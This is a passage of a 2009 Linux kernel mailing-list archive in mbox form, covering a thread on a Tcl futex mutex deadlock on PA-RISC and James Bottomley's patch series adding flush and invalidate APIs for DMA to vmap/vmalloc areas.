	with ESMTP id S1754743AbZLWUql convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 15:46:41 -0500
Original-Received: by bwz27 with SMTP id 27so4992079bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 23 Dec 2009 12:46:40 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=B8/C109BzuifhPJp5ctfqbkf7yty6AT57i+Hjck+B8M=;
        b=gitK/UJjUiBjgHpYx8gX+W7agfjz5Go/3EBcA9st10vPXCE86EKVurAuPIyebk7VI1
         K8GJ9eQVUSEvSIqsqtHYJK095o1KR4Rsmssy9IsLC6goT0Hnoe3my1DfyLcnxl9FE6+f
         aQwjUvgzLHN/ow88IednUeVzAvTuDvCprtlBM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ZM6wQBjHArILknEMGeUVo6tq43/T6As9ER60OxMSZw3MI/apt1VRpcFTXMLeZ7ICM2
         q1oX0rgH9dy2ZMaFE2R9APOOjoN364P7YkNsRYpx2UjbD+INRPYMEUZLSwEt6mKMiMdc
         HyHuQeOvpeijf94bwTe2+8mJHPpPuaKn27P9s=
Original-Received: by 10.204.11.18 with SMTP id r18mr5212890bkr.15.1261601200227; Wed, 
	23 Dec 2009 12:46:40 -0800 (PST)
In-Reply-To: <119aab440912231245u5f1b88d3j54e11ad6a6e8953c@mail.gmail.com>
X-Google-Sender-Auth: 18a6234eaa79c2ad
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2493>

On Wed, Dec 23, 2009 at 3:45 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Wed, Dec 23, 2009 at 3:39 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
>> The deadlock occurs at the third call to Tcl_MutexLock in NotifierTh=
readProc
>> (tclUnixNotfy.c:997). =A0This is in a while(1) loop, so I have to th=
ink
>> the previous call to Tcl_MutexUnlock failed, possibly because of a c=
all
>> to Tcl_ConditionNotify.
>
> You might get a better idea if you run this under strace and look at
> the futex syscalls being made. You won't see the locks since the fast
> path is through the light-weight-syscall compare-and-swap, but you
> will see the unlocks, and you can count them.

Sorry, let me be clearer here. The *first* lock is through the fast
path of the lws CAS operation. All subsequent locks take the form of a
futex wait. All subsequent unlocks are a futex wake.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 15:57:52 -0500
Organization: nrc.ca
Lines: 87
Approved: news@gmane.org
Message-ID: <20091223205751.GA14837@hiauly1.hia.nrc.ca>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com> <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca> <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com> <20091223161504.GA13299@hiauly1.hia.nrc.ca> <119aab440912231236i21d932a8x78a991eb019610f2@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261601885 12601 80.91.229.12 (23 Dec 2009 20:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 20:58:05 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 21:57:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNYHM-0002Fy-Pk
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 21:57:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753727AbZLWU5z convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 15:57:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754055AbZLWU5z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 15:57:55 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3486 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753727AbZLWU5y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 15:57:54 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 295594FA3; Wed, 23 Dec 2009 15:57:52 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440912231236i21d932a8x78a991eb019610f2@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2494
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2494>

On Wed, 23 Dec 2009, Carlos O'Donell wrote:

> On Wed, Dec 23, 2009 at 11:15 AM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> >> There will never be a timeout if you call pthread_mutex_lock as th=
e
> >> underlying operation. So this comment is a bit odd?
> >
> > The wait is done by Tcl_ConditionWait. =A0It uses =A0pthread_cond_w=
ait
> > if timePtr is NULL, otherwise it uses
> > pthread_cond_timedwait(pcondPtr, pmutexPtr, &ptime). =A0Do these wo=
rk
> > holding a lock? =A0Any chance that these try to take a lock?
>=20
> When you call pthread_cond_timedwait you must be holding pmutexPtr.
>=20
> The call to pthread_cond_timedwait atomically release mutex and cause
> the calling thread to sleep on the condition variable cond; atomicall=
y
> here means "atomically with respect to access by another thread to
> the mutex and then the condition variable". Once awoken by a broadcas=
t,
> it retakes the mutex pmutexPtr.
>=20
> The glibc implementation with futexes reads pretty much exactly like
> the description here:
> http://www.opengroup.org/onlinepubs/000095399/functions/pthread_cond_=
timedwait.html
>=20
> > It sems like bad coding to do a wait holding a lock. =A0In any case=
,
> > I don't think this is the problem.
>=20
> You shouldn't be holding a lock while waiting. The call to
> pthread_cond_timedwait
> should have released the mutex before sleeping.

No, the manpage for pthread_cond_wait and pthread_cond_timedwait
indicates that these calls atomically unlock the mutex, so the implemen=
tation
appears correct.  Before returning to the calling thread, they relock
the mutex.  So, the mutex shouldn't be held while the thread is
sleeping.

>=20
> > As you noted, the lock is held by the other thread. =A0The return p=
c is
> > beyond Tcl_WaitForEvent. =A0The only users of the notifierMutex mut=
ex
> > are in tclUnixNotfy.c. =A0The only interesting thing done holding t=
he
> > notifierMutex mutex in code after Tcl_WaitForEvent is to call
> > Tcl_ConditionNotify. =A0It calls pthread_cond_broadcast if the cond=
ition
> > pointer isn't NULL.
> > Could this deadlock? =A0It's hard to see how it could since the mut=
ex
> > doesn't seem to be involved.
>=20
> It shouldn't deadlock.
>=20
> Is this a UP kernel?

Yes.  This has now happened twice in one testsuite run.

> Perhaps what I'm not clear about here, is which mutex is the one that
> we are stuck on?

notifierMutex.  It controls all activities in tclUnixNotfy.c.

> Are we stuck on the mutex we want to pass to pthread_cond_timedwait?

Yes.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 16:08:08 -0500
Organization: nrc.ca
Lines: 33
Approved: news@gmane.org
Message-ID: <20091223210807.GB14837@hiauly1.hia.nrc.ca>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com> <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca> <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com> <20091223161504.GA13299@hiauly1.hia.nrc.ca> <20091223164828.GA13631@hiauly1.hia.nrc.ca> <20091223203956.GA14732@hiauly1.hia.nrc.ca> <119aab440912231245u5f1b88d3j54e11ad6a6e8953c@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261602500 14666 80.91.229.12 (23 Dec 2009 21:08:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 21:08:20 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 22:08:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNYRH-00077K-KR
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 22:08:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752121AbZLWVIL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 16:08:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752526AbZLWVIL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 16:08:11 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3489 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752121AbZLWVIL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 16:08:11 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 46B134E77; Wed, 23 Dec 2009 16:08:09 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440912231245u5f1b88d3j54e11ad6a6e8953c@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2495
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2495>

On Wed, 23 Dec 2009, Carlos O'Donell wrote:

> On Wed, Dec 23, 2009 at 3:39 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> > The deadlock occurs at the third call to Tcl_MutexLock in NotifierT=
hreadProc
> > (tclUnixNotfy.c:997). =A0This is in a while(1) loop, so I have to t=
hink
> > the previous call to Tcl_MutexUnlock failed, possibly because of a =
call
> > to Tcl_ConditionNotify.
>=20
> You might get a better idea if you run this under strace and look at
> the futex syscalls being made. You won't see the locks since the fast
> path is through the light-weight-syscall compare-and-swap, but you
> will see the unlocks, and you can count them.

I would guess that the notifierMutex is locked/unlocked millions of
time in a typical GCC testsuite run.  So, the problem won't be easy
to duplicate manually.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCHv2 0/5] fix xfs by making I/O to vmap/vmalloc areas work
Date: Wed, 23 Dec 2009 15:22:20 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1261603394 17304 80.91.229.12 (23 Dec 2009 21:23:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 21:23:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <jejb@external.hp.com>
To: linux-arch@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Dec 23 22:23:06 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNYfg-0005gU-Ax
	for glka-linux-arch@lo.gmane.org; Wed, 23 Dec 2009 22:23:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757179AbZLWVWz (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 23 Dec 2009 16:22:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757271AbZLWVWx
	(ORCPT <rfc822;linux-arch-outgoing>);
	Wed, 23 Dec 2009 16:22:53 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:58579 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757249AbZLWVWt (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 23 Dec 2009 16:22:49 -0500
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 0573A86EE4;
	Wed, 23 Dec 2009 22:22:48 +0100 (CET)
X-Mailer: git-send-email 1.6.5
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4919 gmane.linux.ports.parisc:2496
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2496>

From: James Bottomley <jejb@external.hp.com>

After looking through all the feedback, here's the next version of the
patch.

This one is based on a new api: flush/invalidate_kernel_vmap_range()
making it clear that the fs/driver is the entity managing the vmaps
... it also drops the block inputs because coherency management is now
the responsibility of the user.  The xfs interface is nicely
simplified with this approach.  Could someone check this on arm and
sh?

Thanks,

James

---

James Bottomley (5):
  mm: add coherence API for DMA to vmalloc/vmap areas
  parisc: add mm API for DMA to vmalloc/vmap areas
  arm: add mm API for DMA to vmalloc/vmap areas
  sh: add mm API for DMA to vmalloc/vmap areas
  xfs: fix xfs to work with Virtually Indexed architectures

 Documentation/cachetlb.txt           |   27 +++++++++++++++++++++++++++
 arch/arm/include/asm/cacheflush.h    |   10 ++++++++++
 arch/parisc/include/asm/cacheflush.h |   12 ++++++++++++
 arch/sh/include/asm/cacheflush.h     |    8 ++++++++
 fs/xfs/linux-2.6/xfs_buf.c           |   20 +++++++++++++++++++-
 include/linux/highmem.h              |    6 ++++++
 6 files changed, 82 insertions(+), 1 deletions(-)


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCHv2 1/5] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Wed, 23 Dec 2009 15:22:21 -0600
Lines: 75
Approved: news@gmane.org
Message-ID: <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1261603396 17310 80.91.229.12 (23 Dec 2009 21:23:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 21:23:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 22:23:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNYfg-0005gU-UO
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 22:23:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757115AbZLWVW6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 16:22:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757270AbZLWVW5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 16:22:57 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:58585 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757231AbZLWVWz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 16:22:55 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 61DA48726A;
	Wed, 23 Dec 2009 22:22:50 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2497 gmane.linux.kernel.cross-arch:4920
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2497>

On Virtually Indexed architectures (which don't do automatic alias
resolution in their caches), we have to flush via the correct
virtual address to prepare pages for DMA.  On some architectures
(like arm) we cannot prevent the CPU from doing data movein along
the alias (and thus giving stale read data), so we not only have to
introduce a flush API to push dirty cache lines out, but also an invalidate
API to kill inconsistent cache lines that may have moved in before
DMA changed the data

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 Documentation/cachetlb.txt |   27 +++++++++++++++++++++++++++
 include/linux/highmem.h    |    6 ++++++
 2 files changed, 33 insertions(+), 0 deletions(-)

diff --git a/Documentation/cachetlb.txt b/Documentation/cachetlb.txt
index da42ab4..a29129f 100644
--- a/Documentation/cachetlb.txt
+++ b/Documentation/cachetlb.txt
@@ -377,3 +377,30 @@ maps this page at its virtual address.
 	All the functionality of flush_icache_page can be implemented in
 	flush_dcache_page and update_mmu_cache. In 2.7 the hope is to
 	remove this interface completely.
+
+The final category of APIs is for I/O to deliberately aliased address
+ranges inside the kernel.  Such aliases are set up by use of the
+vmap/vmalloc API.  Since kernel I/O goes via physical pages, the I/O
+subsystem assumes that the user mapping and kernel offset mapping are
+the only aliases.  This isn't true for vmap aliases, so anything in
+the kernel trying to do I/O to vmap areas must manually manage
+coherency.  It must do this by flushing the vmap range before doing
+I/O and invalidating it after the I/O returns.
+
+  void flush_kernel_vmap_range(void *vaddr, int size)
+       flushes the kernel cache for a given virtual address range in
+       the vmap area.  This API makes sure that and data the kernel
+       modified in the vmap range is made visible to the physical
+       page.  The design is to make this area safe to perform I/O on.
+       Note that this API does *not* also flush the offset map alias
+       of the area.
+
+  void invalidate_kernel_vmap_range(void *vaddr, int size)
+       invalidates the kernel cache for a given virtual address range
+       in the vmap area.  This API is designed to make sure that while
+       I/O went on to an address range in the vmap area, the processor
+       didn't speculate cache reads and thus make the cache over the
+       virtual address stale.  Its implementation may be a nop if the
+       architecture guarantees never to speculate on flushed ranges
+       during I/O.
+
diff --git a/include/linux/highmem.h b/include/linux/highmem.h
index 211ff44..adfe101 100644
--- a/include/linux/highmem.h
+++ b/include/linux/highmem.h
@@ -17,6 +17,12 @@ static inline void flush_anon_page(struct vm_area_struct *vma, struct page *page
 static inline void flush_kernel_dcache_page(struct page *page)
 {
 }
+static inline void flush_kernel_vmap_range(void *vaddr, int size)
+{
+}
+static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
+{
+}
 #endif
 
 #include <asm/kmap_types.h>
-- 
1.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCHv2 3/5] arm: add mm API for DMA to vmalloc/vmap areas
Date: Wed, 23 Dec 2009 15:22:23 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1261603345-2494-4-git-send-email-James.Bottomley@suse.de>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1261603480 17538 80.91.229.12 (23 Dec 2009 21:24:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 21:24:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Dec 23 22:24:32 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNYh6-0006Fc-0V
	for glka-linux-arch@lo.gmane.org; Wed, 23 Dec 2009 22:24:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757278AbZLWVXF (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 23 Dec 2009 16:23:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756898AbZLWVW7
	(ORCPT <rfc822;linux-arch-outgoing>);
	Wed, 23 Dec 2009 16:22:59 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:58592 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757185AbZLWVWz (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 23 Dec 2009 16:22:55 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id D43E88891E;
	Wed, 23 Dec 2009 22:22:54 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4921 gmane.linux.ports.parisc:2498
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2498>

ARM cannot prevent cache movein, so this patch implements both the
flush and invalidate pieces of the API.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/arm/include/asm/cacheflush.h |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index 730aefc..4ae503c 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -432,6 +432,16 @@ static inline void __flush_icache_all(void)
 	    : "r" (0));
 #endif
 }
+static inline void flush_kernel_vmap_range(void *addr, int size)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+	  __cpuc_flush_dcache_area(addr, (size_t)size);
+}
+static inline void invalidate_kernel_vmap_range(void *addr, int size)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+	  __cpuc_flush_dcache_area(addr, (size_t)size);
+}
 
 #define ARCH_HAS_FLUSH_ANON_PAGE
 static inline void flush_anon_page(struct vm_area_struct *vma,
-- 
1.6.5


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCHv2 5/5] xfs: fix xfs to work with Virtually Indexed architectures
Date: Wed, 23 Dec 2009 15:22:25 -0600
Lines: 65
Approved: news@gmane.org
Message-ID: <1261603345-2494-6-git-send-email-James.Bottomley@suse.de>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-4-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-5-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1261603483 17548 80.91.229.12 (23 Dec 2009 21:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 21:24:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Dec 23 22:24:35 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNYh8-0006Fc-Fg
	for glka-linux-arch@lo.gmane.org; Wed, 23 Dec 2009 22:24:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756979AbZLWVXT (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 23 Dec 2009 16:23:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757270AbZLWVXP
	(ORCPT <rfc822;linux-arch-outgoing>);
	Wed, 23 Dec 2009 16:23:15 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:58599 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757231AbZLWVW7 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 23 Dec 2009 16:22:59 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 509A287D82;
	Wed, 23 Dec 2009 22:22:58 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1261603345-2494-5-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4922 gmane.linux.ports.parisc:2499
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2499>

xfs_buf.c includes what is essentially a hand rolled version of
blk_rq_map_kern().  In order to work properly with the vmalloc buffers
